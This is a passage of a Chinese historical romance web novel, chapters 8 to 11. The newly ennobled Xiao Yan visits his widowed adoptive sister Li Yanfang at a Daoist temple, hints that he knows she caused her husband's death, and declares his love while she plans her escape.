“微臣初从戎马之时,幸得邺国公指点,国公于微臣有如恩师,他见微臣年少轻狂,又以‘凭陵’为名,含高昂猖狂之意,担忧微臣妄自尊大、不可一世,便赠‘偃’一字,打压傲气,故军中常用萧偃之名。”
偃,停息之意,恰与凭陵呈现此消彼长之势。
而萧偃口中的邺国公正是驻守边疆十余年、扬威北境的范赟,国公之封便是他数次拦下北戎马蹄获得的褒奖。
萧偃停顿,周遭无人敢出声,陷入死寂。
本朝亦有以表字称人的习俗,若因此而降他一个欺君之罪,则显得过犹不及,太后若是怪罪,也不至于杀他泄愤,他反倒借机将烫手的山芋甩出。
太后凤眸微眯,不见怒,亦不见恕,寻找记忆中的蛛丝马迹,她对这个名字有一星半点印象。
萧偃见她不降罪,继而开口:“微臣自幼丧母失怙,得义父义母收养,只是微臣亲缘浅薄,义父母均已离世多年,家中唯一义姊尚在。然阿姊数年前嫁入鄂国公府,今而新寡,微臣为她唯一再世亲眷,不敢在此时新婚燕尔,叫她难过。”
阿姊,对不住,拿你作筏子。
但你也当知晓,若是与我成婚的人不是你,那将毫无意义。
萧偃凝视眼前咫尺的金丝红毯,平静坦然地等待太后的发落。
嫁入鄂国公府李宴方?他居然是李宴方的义弟!怪不得……太后捏紧手中金杯,杯中琥珀琼浆涟漪微微荡漾,她一抬眼,直视伏跪于殿中的新晋舞阳候。
在太后敛起意外之情时,鄂国公陆朴愕然,沉下脸,萧偃竟是李宴方那北上从军失踪三年的义弟,他本想强硬撬开李宴方的嘴探查真相,可是现下牵扯入萧偃,事情变得难办。
萧偃言谈之间多有维护李宴方,萧偃岂会袖手旁观?
注1出自脱脱等《辽史》卷八本纪第八“二月壬寅,谕史馆学士,书皇后言亦称“朕”暨“予”,著为定式。”记载中的皇后为萧绰。
8. 山色
麟德殿中,波澜起伏,但终究未蹭掀起狂澜,萧偃并未如愿甩掉烫手山芋,想拉拢他的人没能与他谈婚论嫁,而太后更是未有表露,一切只如同酒宴之上的几声喧哗,众人过而忘之。
萧偃心中倒有猜测,易名之事事小,他主动坦诚未等他人检举揭露,太后心怀四海,不予追究是太后的仁德。
宴散之后,赏赐给他的洛都宅邸尚未修葺完毕,他入住外地官员进京时暂住的进奏院。
院内房中,慕容修拿着亲卫找来的十几味药材踱步来回:“这就是你让人找到的给鄂国公府世子送去的药材?”
“嗯,”醒酒后的萧偃坐在圈椅上点点头,“他们收药的路径藏得严实,费了一番功夫,神医说吧,这些药材都治的什么病?”
普通大夫不一定能从十几味药材中分析出来,但自诩为岐黄圣手的慕容修胸有成竹,斩钉截铁地说:“不举之症!”
“当真?”声线暗哑,吐气沉着,询问之中包含怒气与恨意,待萧偃一记眼刀杀至慕容修眼前时,饶是相处已久的慕容修都突觉寒气遍生,心跳也不由得停顿几息。
“他病得很重?行将就木?”
萧偃只感到一阵奔腾的热血直冲脑门,紧随其后的是漫天而来的苦涩之感。
他不知道他是该得意当年阿姊未选他而自讨苦吃,还是该心痛阿姊三年来竟然过上了这般生活?
抑或是愤怒陆韫之竟然如此不配为人夫?
混乱错杂的情绪叫他险些丧失理智,差一点就把进奏院的圈椅扶手捏得四分五裂,他怀着复杂的情绪起身,如顽松生根于乱石峭壁般定在窗边,遥望上清观方向。
慕容修见他反应如此之大,虽是早已确定萧偃对他阿姊心存爱意,却也震惊于萧偃竟然失态至此,毕竟在过去,萧偃可是一幅兵临城下也泰然自若的模样。
只是这一问倒也让慕容修迷惑起来:“从这些最近使用的药物来看,他并没有到药石无医的地步,死得突然,一定另有他因。”
“呵呵,是吗?”背对慕容修的萧偃兀地冷笑几声,“那看来必然是有人从中作梗了。”
慕容修不曾得见萧偃此时的神情,不知他英朗冷峻的面容上浮现出一股莫名得意的轻笑。
那笑,还藏着几分渗人的诡异莫测。
暗卫还给他禀报了一事,世子夫人在前些日子亲手制作了一批香气四溢的胭脂外送做人情,又好巧不巧,世子死后化作灰烬,且当日国公正好出府,回来后是世子夫人禀告了事情经过。
阿姊,别人可以被你纯善娴静的外表迷惑,但他一直太清楚,你向来不是什么逆来顺受的软弱无能之辈。
那男人不中用,你一定是不要他了。
萧偃想,他的阿姊现在必然很需要他替她殿后。
*
晨光熹微,苍翠欲滴的群山中,上清观如翩然振翅的孤鹤停栖于其间。
昨日大军入城,典礼完毕之后,李宴方的车架花了好长一段时间才出城,待到抵达上清观,见过主持坤道金霞道人,再稍作安置已是入暮时分。
上清观内讲究“无为清净”“道法自然”,规矩不如鄂国公府繁杂,李宴方只需在偏院一隅中抄经祈福即可。
她的笔尖不急不徐落至纸卷,与其说她是在抄经,不如说是浏览一遍后的默写。
照清眼里的李宴方专心致志,可李宴方自己很清楚抄经只是个幌子,更不可能诚心诚意,她此番离开国公府,既是为了打消陆朴的怀疑,又是为了光明正大地暂居于城外,方便金蝉脱壳。
但她目光偶有掠过这院中的八名鄂国公府护卫,心头生出些许凉意,难道陆朴发现了蹊跷?
在过去,她可从未受到鄂国公的如此关照。
笔势如流水,连绵不断,就在李宴方思索脱身之计之时,那净白的纸张上留下跌宕遒丽、刚柔并济的墨笔,掩盖掉她所有的算计与筹谋。
上清观一隅的安宁清净融入周围的郁郁山色里,而山下却沙尘四起,马蹄声声。
山门外,一行骏马驰来,停驻。
为首的萧偃玉冠束发,身披锦缎,腰配蹀躞,一身晚波蓝衣袍上绣着长风雁归与连绵流云纹样,清贵中带一分挺拔,英毅内含一分潇洒。
这是他新裁的衣,是太后赏赐的金銙蹀躞带。
上清观虽也欢迎四方来客,但因地处山腰,不如去护国寺便利,加之眼下又是秋末冬初,山内寒凉,故而也无多少人前来问道。
萧偃一行人踏尽山阶,至观门时,主持金霞道人已手持拂尘于大门等候,想来是山门值守的道童望见衣冠华贵的贵人前来,先一步上山通报。
金霞道人一挥拂尘,顿首道:“不知贵人到访,贫道有失远迎,不知贵人是要祈福还是论道?”
“鄙人萧偃不告而来,多有叨扰,还请道长见谅,”萧偃抱拳回礼,“萧某前来是为寻一位在此抄经祈福的李姓贵人,还请道长告知萧某她身在何处。”
他昨日才得了封,又久不在洛都,上清观的主持尚不知他姓甚名谁,这也在情理之中,他此番自报家门,只是希望金霞道人能行个方便。
金霞道人一听萧偃之名,心中疑虑便起,这抄经的贵人只有一位,便是鄂国公府世子孀妻,眼前男子寻她有何贵干?本朝虽不设严苛大防,但李夫人是观中贵客,她不得不问个清楚,以免有半点闪失。
她平淡开口:“萧侯初归洛都,只怕不知这位李夫人新寡,正处于哀伤之中,萧侯不知有何要事,我可代为通传。”
“萧某正是知晓阿姊伤心,特来安慰。父母去后,我远赴边关,叫阿姊独自承受许多,是我这个阿弟未尽到分忧的责任。”
萧偃心想,姐弟二人的关系要尽快叫全天下人知晓才好呢。
金霞道人显然有些愣怔,她的消息未曾灵通到得知麟德殿上发生的一切,但眼前人说得如此明白,她断然没有再拒绝的道理,于是转身替他引路。
萧偃恭敬婉拒:“不敢劳烦道长,请一小童指路即可。
上清观依山而建,道路多有曲折,但萧偃急不可待,待小童指出李宴方暂栖的院落,他两步并作三步走。
行至门外,他见几名凶神恶煞的武卫据守于此,不由得冷哼。
鄂国公府的守卫见萧偃一行人前来,如临大敌,尤其是那为首一人,他嘴角明明有笑意,而
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眉眼下的凛冽杀气却如丝如网,将他们罩扣其间,叫人动弹不得;如枪如箭,自四面八方袭来,令人无所遁形。
守卫几人尚不知这是沙场悍将在血海中淬炼出的威势。
头领壮胆喝道:“此为鄂国公世子夫人所居院落,尔等气势汹汹,意欲何为?”
萧偃亲卫之一紫电气势不虚对方,朗声回道:“我家侯爷乃李夫人之弟,率我等来护她安危,尔等可以收拾行囊,下山去了。”
那头领只认陆朴的手令,自然不敢擅自离去。
萧偃示意另一个亲卫青霜,青霜便带着人擒拿鄂国公府守卫,要将这群人“送下”山去。
眼看争端要起,萧偃淡然道:“我的阿姊自有我来守护,今日之事我会亲自登门向陆国公致歉,奉劝诸位莫要顽抗,免得徒增身伤。”
他轻抚右手大拇指上的玉韘,从容不迫地越过众公府护卫,径直走向内院。
外院动静并不小,正在默经的李宴方早已听闻一二,思索着外头有护卫,想必不是什么大事,但仍是吩咐照清前去打探。
照清刚迈出内院月洞门,迎面碰上来人,她一抬眼,愣在原地,满脸的不可置信。
“……萧郎君?”照清惊喜连连,居然真叫她给说准了!萧郎君真的安然无恙地归家,这下小姐该能高兴些了。
萧偃微微一笑:“阿姊可还好?”
照清点点头:“前些日子陆世子骤然离世,但小姐丧夫后情绪一直颇为平稳,只是萧郎君你既然归来为何不与她说?害得她心忧不已。”
“阿姊很担心我?”萧偃眉眼一挑,看似十分快意。
“是啊,献捷大军进城的时候我们的车架被堵在路口,大军过去时,她还说起了你呢。”
照清向来开朗,且这事小姐未有吩咐不可外道,她便随口告之郎君。
萧偃得知李宴方惦记自己,已是喜上眉梢:“那快带我去见她,你通报的时候就说‘舞阳候萧偃求见’。”
“你你你……”
照清目瞪口呆,愣在原地!
这时她才知萧偃竟是萧凭陵,震惊之余照清回过神来,想必是他要给小姐一个天大的惊喜,故而多有隐瞒,照清促狭一笑,点头配合。
二人穿回月洞门,李宴方所居的临幽轩近在咫尺,而不知情的李宴方仍在屋内默写经文,今日她已经默完两份,正待写第三份。
突然听闻屋外照清通传:“小姐,舞阳候萧偃求见。”
李宴方悬笔于纸上,默然而立,如今的炙手可热的人物来见她做什么?非亲非故,作何打算?
“不见,替我回了他。”
话一出口,只是一瞬思索,那笔尖垂凝的松烟墨已跌落至净白无瑕的纸张,她突然手足无措,将那只湖笔重重落入岫玉笔架山中,留下一声清脆的敲击声,萦绕房梁。
眼前恍然变色,山间雨欲来,浓云蔽日,狂风大作,一切皆有征兆,暗暗印证她此刻心中骤然生出的猜测。
不过须臾,雨来了。
阖闭的门扉被从外推开,一道挺拔如松的身影施施然迈入。
这就是她想见,却不愿在此刻重逢之人。
9. 残忍
三载光阴,足够让旧事被埋葬,旧情被忘却,旧人被抛诸脑后。
三载光阴,足够让那轮明月更孤高,更清冷,更与从前判若两样。
三载光阴,足够让心有不甘在日复一日中发酵,变酸,变涩,变苦,变成见血封喉的毒药。
阔步而入的萧偃望着他的阿姊,她清减消瘦,而发间簪的那一株素绢牡丹尤为碍眼。
拂去时光流走而遗下的尘埃,他看得更清晰,更深情。
她变了很多,曾几何时她亦是灵动洒脱的,如今却像是天寒地冻下被霜雪覆盖的玉枝,埋没春夏的生气与蓬勃,只剩下一身与风雪顽抗的钢筋铁骨和横眉冷对。
冷寂,孤独,拒人千里之外。
他皱眉,想开口,喉头却冲上一股苦涩,哑得发不出声。
“萧侯如日中天,爹娘泉下有知,定然欣慰。”
坦然接受剧变的情势后,李宴方漠然开口,他有这番能耐,着实不奇怪,可不知为何胸腔内如有一团三月随处飞扬的杨絮滞堵,叫她浑身不畅快。
早在她确定是他的那一刻,她就想冲上前去质问:你明明安全无恙,为何不愿意对我透露半点消息,偏偏要改头换面,究竟要欺瞒谁?
可她明知故问,只得干巴巴地寒暄。
有些事,过去了就该让它彻底消失,最好她们二人两两皆不提及。
她想,阿弟在磨砺三年之后或许懂得亲人之爱与男女情爱之间的差异,不再把失去双亲后那一段互相支持的情感当作唯一。
如此,也好。
李宴方悄然垂下眼眸,萧偃却在瞬间读懂她的退却与回避。
他不乐意划清界限。
“我能有今日,与阿姊亦不无关系。”
萧偃抬腿走近,直至二人仅隔一方书桌,色泽森白的牡丹绢花愈发刺眼。
“我四岁的时候从乡下的祖宅里被阿爹接来,自此之后我有了爹娘,有了阿姊,我才知道,日子并非像从前那般数着日子,捱过日子。”
“阿爹说我生母在我一周岁时去世,生父投身戎马,常年不在家中,我因而被寄养在祖屋,由叔伯照料。然而他们见我生父未谋得半点官职,便不把我放在心上,祖屋里的年岁稍长的孩子都来欺负我。”
“只因为他们当着我的面斥骂,因我无论发生什么都对他们摆出一副挑衅的笑,于是他们想看我嚎啕大哭,想看我跪地求饶。”
萧偃说起不光彩的旧事时,他那天生笑唇亦是勾起。
他不明白,这一点不由他掌控的特质,如何就变成了幼时自己挨打的源头?
“只是后来,有个人叫我明白,我的薄唇无论长不长这样,他们都会欺负我,因为我无人撑腰,无法自保,自能逆来顺受,成为最好欺负的那个孩子。”
那个年龄很小,长得也很矮,整天板着一张臭脸的小萧凭陵的模糊印象突然出现在她的脑海中,被萧偃此刻的述说勾勒描画,变得无比清晰深刻,恍若近在眼前。
他像被抛弃的幼兽,骨瘦如柴,毛发脏乱,遍体鳞伤,漆黑圆亮的眼里只有疏离与慌张,对着所有来者都是一副戒备十足的模样,仿佛要将怄着这口气直到死去的那一天。
李宴方记得很清楚,那是一只还没有爪牙的凶兽,撕咬不了任何人。
但她不一样,女孩小时候长得快,她年龄又稍大,人又聪明,鬼点子层出不穷,她可不容许她的弟弟被欺负,那岂不是太不给她面子了?
是她为他出头;是她替他找场子;是她告诉他打不过就想别的办法,一旦忍气吞声,他们只会逮着你欺负;是她告诉他,“君子报仇十年不晚”,督促他读书习武,与他对练。
是她给了他一个不同往常的旧岁时光。
可现在的他已从那头朝不保夕的幼兽变成凶恶贪婪饕餮,过去的时日食难果腹,唯有把来日方长吞入腹中,他才能得一线生机。
萧偃绕过长桌,与李宴方近在咫尺:“教会我反抗的阿姊,必然不可能逆来顺受。我已经把院外鄂国公府的守卫全部换成我的亲兵,阿姊大可放心了。”
他健硕魁伟的身躯逐渐靠近,目光灼灼,闪烁着她看不透的情绪。
难道他知道了?怎么可能?李宴方几乎是第一时间得出猜测,不可能,他才刚回来,她又不留半点痕迹,怎么可能抓到她的把柄?
他靠得更近,几乎是在她耳畔低语,温热的气息包裹着耳垂,令她有些焦躁与抵触:“阿姊,我已经知晓陆韫之身患顽疾之事。原本我憎恨他,甚至想杀了他,可现在你不要了他,真好。”
言辞停顿,但气息更热,逼得更近,撩拨着她一闪而过的慌张,他捕捉住这一点慌乱,乘胜追击。
“虽然阿姊做得干净利落,但陆朴若是担忧家丑外扬,或是怀疑到你身上,要灭你的口怎么办?”
李宴方眼底出现他似曾相识的神色,不是惊慌失措,而是每一次遇到困难时她在思索如何解决的专注。
很显然,光凭这一点就足以让萧偃确认他的猜测,阿姊被识破,正在想对策。
李宴方深知那件事可以不留下马脚,但是那件事里巧合不少,但凡引起陆朴的怀疑,对她没有半点好处,先前跟随她前来并驻留护卫的那一批人,就极有可能是来监视她的眼线。
“萧侯想做什么?拿一些捕风捉影的猜测威胁我?”
李宴方绝不可能授人以柄,光凭二人之间了解,他能做出推测,但只要她不承认,他别想拿到一丁点儿证据。
“不要唤我萧侯,为什么不能像以前一样连名带姓地喊呢?”
萧偃心头倏地窜上一股暴烈的怒气,不知是因为她用了保持距离的称谓,还是她不再告知他、信任他,甚至以为自己在威胁她。
还是过去日子叫人心安,她不管是高兴还是发怒,口中永远都是“萧凭陵”,不刻意回避,不故意抬举。
他的怒意来得莫名其妙,李宴方别过头,不再看他:“你如今身居侯位,自然不能与过去一样。何况你早已成年,我这个姐姐绝不会管束你一辈子,人生如东流水,没有人可以一直停在过去。”
“没有人停在过去,有些话我过去问了,如今还要再问,我很清楚自己想要什么。”
萧偃冷声打断她的明示,一双斜飞上翘的凤眼里装满荡漾的情绪,一半踌躇,一半深情。
“我并非威胁阿姊,我只是希望阿姊能嫁我,我如少时一样,做你的共犯,与你一同‘为非作歹’‘逍遥法外’
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。”
若说李宴方今日见他时心中就悬起一块顽石,听了这话,这块石头终究是肆无忌惮地砸下来,砸得她头昏脑胀,砸得她胸腔充盈着酸涩之气。
她对他并非绝情,只是……
她正不知如何应对,却突然栽入怀抱中,萧偃衣衫上的长风雁归纹就这样飞到她眼前,那一股冷淡的微香也毫无防备地侵入她的鼻端。
长风雁归,长风“偃”归,她愣在当下,默叹,此人小心机愈发多了。
她正欲推开他,头顶传来一句话。
“阿姊要荣华富贵,我已能许你。”
只有他知道,过去三载中的金戈铁马,固然是为了大义,却也藏了一星半点的私心,这一刻他终于可以叫眼前人知晓。
陆韫之给得起的,如今,他能给得起十倍,百倍。
他的胸膛炽热滚烫,他的心跳舒张有力。
他的承诺却一不小心击中她内心最深处的阴暗。
当年嫁荣华一句旧言,竟然叫他记了这么久……她而今听来,脸上火辣辣地疼,她嫁荣华是为了报仇,是不想再叫人欺凌。
可是光靠上嫁却无法解决问题,反而又给她增添无数麻烦。
陆韫之的陷阱,陆仁的羞辱,陆朴的怀疑,纵然当年的陈家已经恶有恶报,但她呢?
她从来都没有获得真正的快乐和仇怨散去的释然。
更不消说,她成婚之后为了融入国公府,改变许多,少时的坦荡从容被小心藏匿,她的一举一动都变得有板有眼起来,去讨好侍奉,去察言观色,去让自己变得不像自己。
她怎么就过上那么惨淡的三年呢?!
她本该是个聪慧通透的人,当初究竟执迷不悟到何种境地?!
原来深种于心的恨意会狂乱生长,掩盖世间种种,只有在身陷苦海无边之时,命运、因果才吝啬地给出三两句惜字如金的提示,叫人回头是岸。
可她如何回头?
回往何处?
李宴方痛彻心扉,恨不得重活一世,她强忍泪意推开萧偃:“我此生最后悔的事便是错把他人富贵当自己的荣华,于你,亦是错。”
失措,无助,她陷于苦海,尚不知如何自渡,三步两步,失魂落魄地迈步,试图远离萧偃,逃离狭窄的书房。
但毫无意外地被一人拦住,二十一岁的萧偃经历征战杀伐的锤炼,早已变得颀长英伟,叫她仰视,叫她无法逃离。
萧偃决眦切齿,且怒,且悲,且恨,双臂伸展,将她牢牢困锁于角落:“我白身时你要嫁富贵,我出人头地后你又拒绝?”
“我并非……”
被萧偃喷涌而出的浓烈感情浸染,李宴方瞬间失去伶牙俐齿,忘了如何辩解,眼眸中弥漫起水雾,水雾愈发浓厚,乃至于泛作波涛,掀起巨浪。
“李宴方你知道吗?你好残忍!”
萧偃第一次连名带姓直呼她的姓名,失态的他被彻底打回原形,变回了幼时那一只无能为力、一无所有的伤兽。
他拼尽全力、押上性命挣来玉冠金带、爵位威名,他以为他终于能以她认可的模样并肩于她身侧,可她还是不要他!
她心里就是没有他!
萧偃几欲癫狂。
10. 绢花
书房一角,安静的剑拔弩张比争吵的针锋相对更为可怕,二人各怀苦与恨,默默对峙着。
待到萧偃以沙哑的声音控诉:“哪有你这样的。”
细听之下,似带哭腔。
李宴方抬起雨色空濛的眸子,直视他一双猩红的凤目,似血月乍临,天地之间的万众生灵尽被笼罩在阴翳之下,无助惶惶,惊惧觳觫。
心突然被.操控情感的五指狠狠抓握,捏出鲜血,挤出筋络,她的辩解与重申被压在舌下,难以言语,唯有义无反顾地拥住那一轮充满危险的殷红月色。
“别哭。”
拇指轻抚过凤眼上挑的眼角,轻如鸿羽,落在心口,却重逾磐石。
轰隆,砸碎他刚刚用一砖砖痛苦与一砖砖恨意建造起的心防,砸得粉身碎骨,砸得灰飞烟灭。
她竟然还会安慰他,叫他别哭。
她在意他的,是不是?
就像照清说的,她也会想起他?
她拒绝他一定是因为陆韫之!
陆韫之虽然不中用,但终究是她名义上的丈夫,并且刚刚入土,他萧偃不在乎街市上的言论,但她一定在乎。
萧偃已然把自己哄好,眉目间的戾色尽数被收敛,他是她名正言顺的阿弟,可谓近水楼台,有的是时机徐徐图之。
李宴方见他翻脸堪比翻书,轻叹数落道:“在军中时你也是这般变化无常吗?小心被人钻了空子,抓住把柄。”
多年不见,他的变化之处倒让人出乎意料。
李宴方推开他的双臂,负气绕走离开,却不料绊倒立于一侧的小方几,其上放置的一应物什具跌落在地。
那些锦盒金匣悉数砸下,砸得个七零八落,咣咣当当。
李宴方回首一瞥,昨日在城中几乎是堵了一天,日暮时分才得以安置,那时她四肢疲乏,心情烦闷,抵达院落是只是与照清简单收拾一遭后便早早安歇,这一方几的零零散散之物就是那时放置在此,等待处置的。
不等她动身,萧偃已经缓缓蹲下替她收拾。
她想起很久之前,他在家做起家务的时候也是这般很勤快利索,过去的身影与而今的面貌在他一举一动之下重叠,记忆中的旧色被重新渲染,幻彩一新。
他变了,又好似从未改变。
一瞬的失神,已经让李宴方忘记那一个装着长命缕的小盒也在其中。
果不其然地被萧偃翻出来,她恨不得马上逃离此地。
但太晚了。
那一条已经褪色的、陈旧的、有明显使用痕迹的长命缕已经被攥在萧偃修长的五指中,他半蹲着,抬起头,眼波里跳动着复杂的情绪:“阿姊,你很在乎这条长命缕?”
他的阿姊第一时间带着它离开了鄂国公府。
萧偃低下头,不愿叫她窥见他无法掩藏的笑意。
“我只是以为你死了。”
事到如今,非要说李宴方对萧偃有什么怨言,无非就是欺瞒一事,尤其是她曾真真切切地为他担忧过,所以才耿耿于怀,那被欺骗的滋味实在让人无法消受。
这是怒意。
萧偃脸上的笑容瞬间冻结,然他只是继续收拾这些跌落的盒子匣子,将它们安放整齐,归至原处,包括那一条长命缕,也被他重新装好。
他起身,在李宴方面前站定,不带一丝波澜地寻问她:“若昨日抬回来的是我的棺,你也会痛心,会为我簪素花,着白衣么?”
所有在胸膛内起伏跌宕的情绪都被萧偃细致地梳理与安抚,他平静而克制地问出他最为在意的问题,沙场上刀枪无眼,他无法保证自己有命回来。
但如今的一切让他真切觉得——上苍是厚待他的。
可他也不能不去想,万一呢?
万一他死了,甚至是成为了一具无人收敛的无名枯骨,连确切的死讯都无人相传,彻底地被遗忘在征尘与烽烟中。
李宴方凝眸不语。
她做过那般设想,甚至不止一次。
诚然问己,她会因当年说出激走他的言辞而后悔莫及,心如刀割。
会设想,当年若是与他讲清楚就好了,不需要留下沉重深刻的遗憾,并且随之相伴余生。
幸好,那只是自己的胡思乱想,如今他不仅回来了,还出类拔萃,立下赫赫战功。
她的沉默被萧偃尽收眼底,那一分在素净面容上悄然流转而去的哀伤与痛楚亦被他捕捉。
他确定,他的阿姊亦是会痛的。
“我说过,‘阿姊平安,我便平安’,所以我活着回来了。”
那一句昔年他替她系上长命缕时说的话被他郑重复述,成为一道回应许诺,铿锵有声,沉重坚定。
不像山盟海誓那般言辞华丽,比不得海枯石烂的宏大壮阔,李宴方将这语浅情深的三言两语听来,心头却发紧,发涩,因她不知如何再去回应这一份深情……
她哑口无言,无所适从,心怀愧疚地想逃离。
他向她靠近,想轻吻她黯然的眼,抚慰她哀痛的神,可在近在咫尺之前,他蓦地明白什么叫做“近乡情怯”,骤然患得患失起来,他想,若是这般冒犯猛浪,会不会叫她愠怒厌恶?
只是她如云的青丝中簪着的那一朵盛放的淡色牡丹实在是碍他的眼。
他轻启薄唇,轻叩皓齿,将白牡丹咬下,叼在口中。
李宴方凝眸望之,震惊不已,心中燃起疑问,不知此举有何意义?
只是眼前人本就丰神俊朗,口中轻衔一朵绽放牡丹更显得其姿容奕奕、神采风流。
她愣了一瞬。
萧偃咬住花瓣,呼出那不经意间窜上来的怨气,将其送至窗外,只留下轻薄绢花跌落的一声微乎其微的响。
“我既然未死,便别戴着它。”
萧偃否定她为陆韫之戴孝的事实,心怀鬼胎地将这置换为她为他做得一切,仿佛她的哀伤沉痛只能留给他一般。
好霸道。
“胡闹,你以为这样的小心机就能彻底抹掉我过去的三年么?”
李宴方呵斥,面有薄怒,心头那一根本就紧绷的弦被狠狠拨弄。
她即使不愿意也不得不承认,这三年已经将她改变,她生了难以解开的心结,自陆韫之死后她睡得不安稳,不是因为害怕鬼魂索命,而是陷于误入歧途的委屈与苦恨……
只是,这让萧偃误会了。
他不知李宴方有心结,李宴方不知他心中亦有坎坷难越。
萧偃负气而道:“阿姊,与其收藏死物,不如多看看我这个大活人。”
死物既是暗指长命缕,更是暗指陆韫之,和那过去的旧时光。
即使他几乎能确定陆韫之死于阿姊之手,她对陆韫之未必能有什么深种的旧情,但她口中的“过去三年”是无法替陆韫之与她相伴的三载,是他心头永远补不齐的缺憾。
他拂袖而走,怒意难消。
真不知道鄂国公府的旧事旧人有什么好惦记的!
院外,紫电青霜已经早把鄂国公府的护卫打发走,他让紫电带着人留下守卫李宴方的安危,自己冷着脸带着青霜去找金霞道人交代此事。
内院,李宴方望着那人一去不回的背影,无力地坐下,长叹一声,连连摇头。
当真是剪不断理还乱,她与萧偃究竟算什么?
但护卫换成了萧偃的人于她而言确为好处,有些事可以依照计划进行,就算走不到那一步,多一分准备也是好的。
她整理纷乱的情绪,起身唤来照清,在
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照清的陪伴下前往外院,她该见一见这群奉命保护自己的人。
为首的年轻人越众而出:“小人紫电奉侯爷之命保护夫人,全凭夫人吩咐!”
“诸位辛苦,吩咐不敢当,不知能否拨两人随我在山里走走,散散心。”
李宴方要知道这山中地势,更要知道萧偃是否限制了她的自由。
五官端正的紫电颔首,抬臂指引:“夫人请。”
*
次日清晨,李宴方在上清观等来了一位旧相识。
来者是一位身着交领窄袖棉服,下穿长裤的白发老妪。
何梦华虽年逾七十,但仍然精神矍铄,鹤发童颜,她本是李宴方一家人同坊的邻里,这些年一直做走街串巷的卖婆养家糊口。
卖婆,是能出入大户人家后宅,帮着后宅女眷购买换置物品的老年女子。
不少卖婆为了贴补家用,还学会许多技能,比如学着时兴发式替贵人梳头,替贵人做女工等等。
她们之中一些年轻的女子也被称为梳头娘子。
“叫何婆婆爬山登高,倒是我的不是了。”
一身白衣的李宴方抬手让何梦华入座。
“夫人哪里话,老身这身子骨硬朗着呢,若不是夫人当年举荐我前往别家宅院,我的生意岂能做得风生水起?替夫人爬一爬小山不在话下。”
何梦华心地善良却一生孤苦,早年因北境战事情逃亡至此,一家六口到了洛都的竟然只剩她一个,成年后结了亲,可不久就丧夫,膝下无儿无女。
这些年,她的日子过得滋润些,瞧见那些被遗弃的,被人伢子打骂的,她但凡有机会便会救出,教她们卖货梳头调香做女工,进而养活自己。
她对于李宴方嫁入国公府后将她推荐给其他贵人之事十分感激,故而她与手下的卖婆与梳头娘子皆暗中帮助李宴方打探消息名,堪称有求必应。
何梦华因李宴方是她看着长大的孩子,此刻见她憔悴的模样,不由得心疼地安慰起来,这世道对孀妇总归不太好,她开口道:“还请夫人节哀顺变。”
她心头一叹,这孩子,命也苦,爹娘不在,弟弟从军,好端端的丈夫也说死就死了。
李宴方动容不已,何婆婆想必还不知道萧偃的事情,故而以为她孤苦无依,便真心实意地替她伤怀起来。
人与人之间的真情,在落魄的时候显得格外珍贵。
她开口:“婆婆,如今我已不是鄂国公世子夫人,就叫我宴方吧,就像小时候一样。”
“唉呀,”何梦华望见她愁苦的神色,感怀道,“我倒是盼着你和小时候一样无忧无虑才好呢。”
国公府是什么地方?虽有富贵,但规矩却多,何梦华知晓,她突然怀念起多年前那个带着弟弟在她家院墙外打果子的李宴方。
不约而同想到旧日囧事,李宴方苦笑:“我小时候顽皮了些,如今懂事了,还望婆婆原谅过去的我。”
何梦华怎会不明白这一句“懂事”是丧父丧母丧夫换来的呢?她摇头道:“那时你也不过才八九岁,后来也道歉了,我又岂会耿耿于怀?宴方啊,你要好好地过下去,不要太在意过去的事。对了,你来上清观可有什么东西需要我替你准备的?要在这儿清修多久?”
李宴方见何梦华一面,为的就是金蝉脱壳的物资:“有劳婆婆替我准备一些棉布、彩线、绳索、剪子、小刀、金疮药、油纸之类的,若是日后得了闲做起女工,能派上用场。”
她似又想起什么,补充道:“若是婆婆还得空,在集市上瞧见淡雅素净的绢花绒花也帮我捎带些来吧。”
若是不小心伤了手,用些金疮药止血,倒也十分合理,何梦华记下了,再与李宴方闲谈几句后便下山前往集市中采购。
11. 仇雠
负气离去的萧偃回到进奏院。
进奏院本是给进京述职且在洛都未购置房产的官员准备的暂居之所。
萧偃住了两三日就动起离开的心思,爹娘过世后留下的旧宅久未打理,他打算回去清理一番,在自己家中暗卫往来更为方便。
旧宅在履道坊金桂巷内,履道坊为百官与百姓的居住区,下朝后,他着了身素净无纹的茶褐色圆领袍,打马回家。
坊内有十字街,主干道周围多为达官显贵的宅邸,正是下朝时分,为避开同僚,他早早拐进次干道,去寻坐落在偏远一隅的金桂巷。
父亲李兆安只有个武散官的官衔,无职无权,与同僚无来往,不得见天子颜。
据当年父亲亲口说,官是用祖辈上积攒的家底捐来的,说是捐,实际就是买,但无人检举追查,也就心安理得地领着微薄的俸禄度日。
虽是芝麻小官,但住在多为百姓安家的金桂巷内,仍是颇有面子。
萧偃回忆起来,但家里从未以高门朱户自居,其乐融融地与周围邻里打好关系,都说远亲不如近邻,确是如此。
不过他仔细一思量,这些年家里也极少走亲戚,逢年过节都是一家四口人聚在一处,他都不知道祖辈姓甚名谁家住何处,更不知晓他有无舅姑之类的亲眷。
他轻车熟路地寻到老宅,一抬眼,尘埃遍布砖瓦屋舍,门前铜锁死闭,上面锈迹满满,看来阿姊这些年也少有回来。
萧偃掏出旧宅的钥匙,这是他北上之时唯一带在身上的旧物,也不知能不能开启旧日的锁?
思绪沉入回忆,他才蓦然惊觉,自己这傻状竟像是刻舟求剑的楚人,只不过他刻的是往事的陈舟,溯的是岁月的长河。
“是萧凭陵吗?”
熟悉又陌生的苍老嗓音传入他耳畔,带着惊喜与诧异。
他侧首望去,十余步之外立着一位老妪,正是何梦华,他颔首轻笑:“何婆婆多年未见还是这般硬朗,瞧着愈发年轻了。”
何梦华提着刚从集市上买回的肉菜,走近打量。
故地旧人,让她蓦地回忆起往昔,那时黎娘子去世,她帮忙操持丧事,两个半大的孩子心如刀绞、魂不守舍……
此子今而威武挺拔,早已不见昔年的稚嫩青涩和惶惶不安。
世事沧海桑田,但似乎未再苛待他,她由衷感叹道:“真是有出息啊,黎娘子夫妻两人在泉下也当能安心了。你可是随着大军回来的?”
萧偃点点头,并不暴露身份,于他而言,无论他是将军抑或是小卒,何婆婆这样的旧邻都不会吝啬关心,亮了身份反而担心她们见外疏离。
“北边如何了?现在可还安宁?”
“如今正是停战之期,加之有范国公率众将军驻守于边境,宵小之辈不敢来犯。”
“真好啊,”何梦华不知为何,热泪盈眶,“不知老身还能活几年,能不能等到幽州回归,真想回到老家再去瞧一瞧……”
她的童年,她的亲人,她的故乡。
萧偃心一沉,何婆婆对故土直白的思念感染着他。
